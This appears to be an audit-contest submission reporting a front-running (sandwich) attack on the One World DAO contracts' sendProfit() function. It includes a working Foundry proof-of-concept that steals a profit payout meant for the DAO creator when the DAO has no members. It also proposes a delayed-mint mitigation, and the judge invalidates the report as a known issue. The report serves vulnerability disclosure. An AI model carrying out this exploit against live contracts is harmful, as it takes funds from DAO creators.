Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

`MembershipERC1155::sendProfit()` Function is Vulnerable to Sandwich Attack, Allowing Attacker to Steal Entire Profit Intended for DAO Creator When DAO Has No Members

Description

if we take a look at MembershipERC1155::sendProfit() function, it checks to see if DAO has any members or not, if DAO has no Members, then the entire profit will be forwarded to DAO creator.

now what attacker can do is, front-run that profit distribution which is intended for DAO creator to receive by joining that DAO with MembershipFactory::joinDAO() function and buying lowest tier Membership Token. That will Cause to Profit being distributed throughout every DAO Member (which DAO has 1 Member Now. it's the Attacker) and Attacker Will be Able to Claim Entire Profit with MembershipERC1155::claimProfit() function. also attacker can continue to do this by burning his bought DAO membership token (leave the DAO), until another member other than him, joins the DAO and then he will be unable to perform this attack.

Impact

Attacker is able to Sandwich the Profit Distribution Transaction which DAO Creator is meant to receive and steal all profit. and can continue doing this by burning his membership token (leaving the DAO) and again if next time sees a profit is being distributed in a DAO with no members (totalSupply == 0), he can perform the same attack and steal profit that is intended for DAO Creator to receive until another member other than him, join the DAO.

Proof Of Concept

POC is written in Foundry.

import {Test, console} from "forge-std/Test.sol";
import {MembershipFactory} from "src/dao/MembershipFactory.sol";
import {MembershipERC1155} from "src/dao/tokens/MembershipERC1155.sol";
import "src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyManager} from "src/dao/CurrencyManager.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
contract OWPTest is Test {
MembershipFactory DAOFactory;
MembershipERC1155 daoImplementationLogic;
MembershipERC1155 DAO;
CurrencyManager currencyManager;
address owpWallet = makeAddr("owpWallet");
address deployer = makeAddr("deployer");
address daoCreator = makeAddr("daoCreator");
address businessCEO = makeAddr("businessCEO");
address attacker = makeAddr("attacker");
ERC20Mock daoCurrency;
uint256 private constant DAO_MAX_MEMBER_LIMIT = 70;
uint256 private constant DAO_TIER_NUM = 7;
uint256 private daoTierPrice = 80e18;
function setUp() public {
vm.startPrank(deployer);
// 1. lets first deploy essential contracts
daoCurrency = new ERC20Mock();
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(daoCurrency));
daoImplementationLogic = new MembershipERC1155();
DAOFactory = new MembershipFactory(address(currencyManager), owpWallet, "SOME_RANDOM_URI", address(daoImplementationLogic));
vm.stopPrank();
vm.startPrank(daoCreator);
// 2. lets create our DAO
DAOInputConfig memory daoInputConfig = DAOInputConfig({
ensname: "MY_DAO_NAME",
daoType: DAOType.SPONSORED,
currency: address(daoCurrency),
maxMembers: DAO_MAX_MEMBER_LIMIT,
noOfTiers: DAO_TIER_NUM
});
// each tier price:
// tier1 == 70e18
// tier2 == 60e18
// tier3 == 50e18
// tier4 == 40e18
// tier5 == 30e18
// tier6 == 20e18
// tier7 == 10e18
TierConfig[] memory tierConfigs = new TierConfig[]();
for (uint i = 0; i < tierConfigs.length; i++) {
tierConfigs[i] = TierConfig({
amount: 10,
price: daoTierPrice -= 10e18,
power: 0,
minted:0
});
}
DAO = MembershipERC1155(DAOFactory.createNewDAOMembership(daoInputConfig, tierConfigs));
vm.stopPrank();
}
// you can perform the attack by running: "forge test --match-test test_sandwichAttack -vvvv" (make sure you have foundry installed.)
function test_sandwichAttack() public {
// 1. Set up attacker's wallet with 10e18 Dao Currencies. (Tier7 Membership Token Costs 10e18),
// Will be Used to Join the DAO in this Attack By Buying Lowest Membership Token.
deal(address(daoCurrency), attacker, 10e18);
assertEq(daoCurrency.balanceOf(attacker), 10e18);
// 2. Simulate a scenario where the business CEO intends to distribute 80e18 as profit.
// Since there are no members in the DAO initially, this profit is supposed to go to the DAO creator.
deal(address(daoCurrency), businessCEO, 80e18);
assertEq(daoCurrency.balanceOf(businessCEO), 80e18);
assertEq(DAO.totalSupply(), 0); // Ensure that the DAO has no members before the attack.
// 3. Attacker detects the CEO's `sendProfit()` transaction in the mempool.
// To exploit this, attacker joins the DAO by buying the lowest tier membership token.
// This action changes the DAO totalSupply, allowing the attacker to claim the entire profit.
vm.startPrank(attacker);
daoCurrency.approve(address(DAOFactory), 10e18); // Tier7 membership token costs 10e18
DAOFactory.joinDAO(address(DAO), 6); // tokenID 6 == Tier 7
assertEq(DAO.totalSupply(), 1);
vm.stopPrank();
// 4. CEO initiates the profit distribution, expecting it to go to the DAO creator.
// However, since the attacker joined the DAO, the entire profit will now be claimable by the attacker.
vm.startPrank(businessCEO);
daoCurrency.approve(address(DAO), 80e18);
DAO.sendProfit(80e18); // CEO distributes the profit.
vm.stopPrank();
// 5. The attacker claims the entire profit using `claimProfit()`, effectively stealing it.
vm.startPrank(attacker);
DAO.claimProfit();
// Verify that the attacker successfully stole the 80e18 profit.
assertEq(daoCurrency.balanceOf(attacker), 80e18);
// Verify that the DAO Creator Balance Hasn't Changed Since Attacker Stole All of it.
assertEq(daoCurrency.balanceOf(daoCreator), 0);
vm.stopPrank();
}
}

Recommended mitigation

The best mitigation to prevent this sandwich attack is to add a delay before a user can receive their membership token after purchasing it with the MembershipFactory::joinDAO() function.

With this approach, the user first pays for the membership token, then must wait 90 seconds before calling another function to claim their purchased membership token.

The mitigation could be implemented as follows:

contract MembershipFactory is AccessControl, NativeMetaTransaction {
+ struct MembershipToken {
+ uint256 mintCount;
+ uint256 timestamp;
+ }
+ mapping (address account => mapping (address dao => mapping (uint256 tierIndex => MembershipToken))) public membershipTokenMintCount;
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
- daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
+ MembershipToken storage membershipToken = membershipTokenMintCount[_msgSender()][daoMembershipAddress][tierIndex];
+ membershipToken.mintCount += 1;
+ membershipToken.timestamp = block.timestamp + 90;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
- IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}
+ function claimMembership(address daoMembershipAddress, uint256 tierIndex) external {
+ MembershipToken storage membershipToken = membershipTokenMintCount[_msgSender()][daoMembershipAddress][tierIndex];
+ require(membershipToken.mintCount > 0, "MembershipFactory: No Tokens Available To Mint.");
+ require(membershipToken.timestamp < block.timestamp, "MembershipFactory: Not Enough Time Has Passed Yet To Be Able to Get Minted a Membership Token.");
+ daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
+ membershipToken.mintCount -= 1;
+ // no need to reset membershipToken.timestamp, since it can't poses a security risk.
+ IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
+ }
}
Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!